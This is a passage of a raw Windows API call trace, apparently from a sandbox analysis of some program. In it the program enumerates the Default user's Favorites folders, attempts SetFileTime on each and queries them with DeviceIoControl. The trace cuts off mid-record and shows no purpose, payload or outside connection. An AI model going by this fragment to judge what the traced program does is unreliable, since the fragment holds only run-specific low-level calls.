ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0092.910] GetLastError () returned 0x12 [0092.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0092.910] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0092.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0092.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.910] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="")) returned 1 [0092.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.911] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites" (normalized: "c:\\users\\default\\favorites"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.912] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites" (normalized: "c:\\users\\default\\favorites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0092.912] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0092.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.912] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0092.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.913] NtClose (Handle=0x164) returned 0x0 [0092.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0092.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0092.914] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Favorites\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0092.915] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.915] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9618 [0092.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd2e0 [0092.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.917] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0092.917] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="")) returned 1 [0092.917] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="")) returned 1 [0092.917] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="")) returned 1 [0092.917] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="")) returned 0 [0092.918] GetLastError () returned 0x12 [0092.918] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Favorites\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9200 [0092.918] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0092.918] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.918] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.918] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0092.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.918] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links" (normalized: "c:\\users\\default\\favorites\\links"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.918] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Links" (normalized: "c:\\users\\default\\favorites\\links"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0092.919] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.919] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.919] NtClose (Handle=0x164) returned 0x0 [0092.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd3f0 [0092.920] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0092.920] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.920] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfefb1330, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd478) returned 1 [0092.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd478) returned 1 [0092.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9638 [0092.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd500 [0092.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd478) returned 1 [0092.923] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="")) returned 1 [0092.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd478) returned 1 [0092.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd478) returned 1 [0092.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9658 [0092.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd588 [0092.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd478) returned 1 [0092.925] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="")) returned 0 [0092.925] GetLastError () returned 0x12 [0092.925] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0092.925] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0092.925] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.925] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfefb1330, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.925] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="")) returned 1 [0092.925] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="")) returned 0 [0092.925] GetLastError () returned 0x12 [0092.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd3f0) returned 1 [0092.925] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.926] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="")) returned 1 [0092.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.926] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites" (normalized: "c:\\users\\default\\favorites\\microsoft websites"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.929] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites" (normalized: "c:\\users\\default\\favorites\\microsoft websites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.929] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.929] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.930] NtClose (Handle=0x178) returned 0x0 [0092.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd3f0 [0092.931] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0092.932] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.932] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="")) returned 1 [0092.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.933] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd478) returned 1 [0092.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd478) returned 1 [0092.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ff30 [0092.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9678 [0092.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f6f0 [0092.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd478) returned 1 [0092.935] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="")) returned 1 [0092.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd478) returned 1 [0092.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd478) returned 1 [0092.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9698 [0092.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1370248 [0092.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd478) returned 1 [0092.937] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="")) returned 1 [0092.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd478) returned 1 [0092.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd478) returned 1 [0092.939] RtlAllocateHeap 